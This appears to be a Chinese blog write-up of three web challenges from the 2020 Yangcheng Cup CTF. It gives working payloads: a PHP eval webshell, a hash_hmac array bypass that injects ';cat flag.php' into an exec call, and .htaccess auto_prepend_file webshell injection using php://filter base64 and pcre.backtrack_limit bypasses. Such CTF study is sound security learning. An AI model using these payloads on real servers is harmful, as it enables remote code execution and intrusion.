1

羊城杯Web题总结与复现

 2 years ago
source link: https://qwzf.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFWeb%E9%A2%98%E6%80%BB%E7%BB%93%E4%B8%8E%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言

总结一下羊城杯的Web题,就做出几道。发现有的题是原题改的,不过涉及到一些没有学过的知识,简单总结一下。

0x01 easycon

考点:一句话木马+base64转图片
打开题目,发现是Apache默认页,使用扫描工具扫描一下

在这里插入图片描述
在这里插入图片描述

发现index.php,访问发现弹窗eval post cmd,意思很明显,就是post传入cmd参数,并且应该使用了eval()函数。所以,源码里应该有<?php eval($_POST['cmd']);?>,一句话木马,蚁剑直接连

在这里插入图片描述
在这里插入图片描述

发现上图所示的这些文件,发现bbbbbbbbb.txt里边的文件内容很多,并且像base64编码。

在这里插入图片描述
在这里插入图片描述

同时看到开头的/9j/,根据经验是base64编码转图片,并且头部缺少内容data:image/jpg;base64,
找一个base64在线转图片的网站,加上缺少的内容,进行转换,得到带有flag的图片

在这里插入图片描述
在这里插入图片描述

0x02 BlackCat

考点:文件分析+代码审计+弱类型+hash
查看源代码,发现注释<!--都说听听歌了!-->。于是下载引用的音频文件Hei_Mao_Jing_Chang.mp3,使用winhex打开,在最后边发现

在这里插入图片描述
在这里插入图片描述

复制出来,得到源码:

//post传入Black-Cat-Sheriff和One-ear绕过判断
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");   //获取一个环境变量的值
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); //使用 HMAC 方法生成带有密钥的哈希值
//PHP的类型自动转换,控制的变量只有One-ear和White-cat-monitor
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);
php复制代码

代码的大概意思:

POST传入Black-Cat-Sheriff和One-ear,绕过第一个判断
POST传入White-cat-monitor,绕过第二个判断,且传入的是数组使$clandestine为NULL,即将下一个加密的密钥置空
POST传入的Black-Cat-Sheriff与加密后的One-ear相同,绕过第三个判断
最终执行echo exec("nc".$_POST['One-ear']);表示成功

测试一下下面这两条语句:
语句1

php > var_dump(hash_hmac('sha256',array(1),'123'));
PHP Warning:  hash_hmac() expects parameter 2 to be string, array given in php shell code on line 1
NULL
php复制代码
在这里插入图片描述
在这里插入图片描述

post传入White-cat-monitor为数组,对White-cat-monitor加密后使得$clandestine为NULL
语句2

php > var_dump(hash_hmac('sha256',';id',NULL));
string(64) "58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1"
php复制代码

对post传入的One-ear进行加密,生成hash值。
审计完代码后,开始做题:
1、POST传入Black-Cat-Sheriff和One-ear,使Black-Cat-Sheriff与加密后的One-ear相同
One-ear的值为:;cat flag.php (通过目录扫描扫到flag.php文件)
Black-Cat-Sheriff的值为:One-ear加密后的值,即:

php > var_dump(hash_hmac('sha256',';cat flag.php',NULL));
string(64) "04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6"

Black-Cat-Sheriff的值为:
04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
php复制代码

2、POST传入White-cat-monitor数组(即White-cat-monitor[]=1)使$clandestine为NULL
最终得到的payload为:

Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
php复制代码

post传入得到flag

在这里插入图片描述
在这里插入图片描述

0x03 easyphp

考点:.htaccess解析+命令注入+相关绕过
打开题目,发现源码:

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 
php复制代码

发现是2019XNUCA的easyphp原题改的,不过少了include_once("fl3g.php");,其他关键部分基本没变。所以可以参考解题。
题目的大致意思:

1、通过file_put_contents函数来写马
2、对我们可以控制的参数$filename$content分别进行了preg_match函数和stristr函数的过滤,
preg_match的过滤要求是输入的文件名必须只能带有[a-z\.]范围的字符
stristr函数则是过滤了on,html,type,flag,upload和file关键字
3、本题环境只对index.php文件进行解析。并且开头和末尾都对当前目录下的文件进行检查,删除(unlink)除了index.php外的所有文件

根据题目的意思只解析index.php,想到以下方法:
1、写入一句话木马到index.php
2、写入一个.htaccess让当前目录下的所有文件都能解析为php文件
3、写入一个.user.ini让index.php自动包含上我们写入的马

第一种方法是最简单的,直接写入一句话木马到index.php即可
第二种方法,一定需要写多次,前面写的.htaccess会被删掉;而如果是写上开头自动包含,并且包含的文件就是.user.ini,并且在.user.ini中直接写入马,那么理论上index.php在删除前就可以执行到我们写入的马。
第三种方法,利用.user.ini设置文件自动包含。这里尝试一下,没有成功。

第一种解题方法:直接写入一句话木马

直接写入一句话木马到index.php

?filename=index.php&content=<?php eval($_POST['qwzf']); ?>
php复制代码

蚁剑连接,找到flag即可。

第二种解题方法:利用.htaccess设置文件自动包含

.htaccess设置php环境变量的格式

.htaccess也可以设置开头自动包含,.htaccess设置php环境变量的格式:

#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess
bash复制代码

auto_prepend_file与auto_append_file

使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。
php.ini中有两项

auto_prepend_file #在页面顶部加载文件
auto_append_file  #在页面底部加载文件
bash复制代码

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

1、绕过\n的过滤

于是确定我们要写入的文件.htaccess,文件内容为:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>\
bash复制代码

末尾有个符号\是必须写入的,我们注意到源代码中file_put_contents中的文件内容传入的变量$content末尾还连接上了\nHello, world这个字符串,而\n代表着换行,而我们再一个\,则会拼接成\\n,即转义掉了n前面的\,构不成换行。换句话来说,如果我们没有加入\,那么写入.htaccess的文件内容就为:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>
Hello, world
bash复制代码

会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,那么当前目录下的所有文件就会面临崩溃,所以说,末尾必须写入\

2、绕过stristr的过滤

上边写入文件.htaccess的内容里包含了file关键字,被stristr过滤,所以要绕过stristr的过滤

if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
php复制代码
1.方法一:使用base64加密绕过stristr函数

p神的一篇文章:谈一谈php://filter的妙用
提到file_put_contents函数中的第一个参数$filename,即写入的文件名是可以控制协议的,所以我们可以用php://filter流base64-decode方法将文件内容参数$content进行base64解码,那么这样就可以通过将内容进行base64加密来绕过stristr函数的检查。
测试代码:

<?php 
    $filename = $_GET['filename'];
    $content = $_GET['content'];
    if(stristr($content,'<?php')){
        echo 'Hacker';
        die();
    } 
    file_put_contents($filename, $content);
?>
php复制代码

对要写入的content进行base64编码:

>>> base64.b64encode('<?php phpinfo(); ?>')
'PD9waHAgcGhwaW5mbygpOyA/Pg=='
py python复制代码

测试payload

?filename=php://filter/write=convert.base64-decode/resource=phpinfo.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==
php复制代码

访问phpinfo.php,成功显示phpinfo信息。
绕过preg_match

if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
php复制代码

因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0) ,因此存在了被绕过的可能。

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。
看xnuca2019-ezphp的wp发现一篇文章:preg_match函数绕过
思路是:通过正则匹配的递归次数来绕过,正则匹配的递归次数由pcre.backtrack_limit参数来控制
PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万。该值可以通过php.ini设置,也可以通过 phpinfo页面查看。

在这里插入图片描述
在这里插入图片描述

要让preg_match返回false,也就是匹配不到,即可绕过preg_match。这里就有一个骚操作,就是通过设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。
测试一下,是否能绕过preg_match:

<?php
ini_set('pcre.backtrack_limit',0);
var_dump(preg_match('/[^a-z\.]/','php://filter'));
?>
//bool(false) 
php复制代码

成功绕过preg_match。
pcre.backtrack_limit设置的是php的环境变量,也可以在.htaccess里设置,最终写入到.htaccess中内容如下:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world
bash复制代码

因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。
最终payload:

?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
bash复制代码

网上都有这种方法做题,然而经过测试,并没有成功,在buu上复现xnuca2019-ezphp也没有成功。可能是环境问题。(暂时不知道是什么问题,等发现是什么问题后,再继续总结)

2.方法二:对过滤的关键字中间添加换行\n绕过stristr函数

可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
payload如下:

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
php复制代码

写入.htaccess的内容:

php_value auto_prepend_fil\ 
e .htaccess 
#<?php system('cat /fla'.'g');?>\ 
Just one chance
bash复制代码

然后访问index.php即可得到flag:

在这里插入图片描述
在这里插入图片描述

参考:
从xnuca2019-ezphp深入学习.htaccess
2019XNUCA部分Web复盘

0x04 后记

基本总结完毕,比赛收获了很多知识。更深一步的了解到了.htaccess解析。继续努力!


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK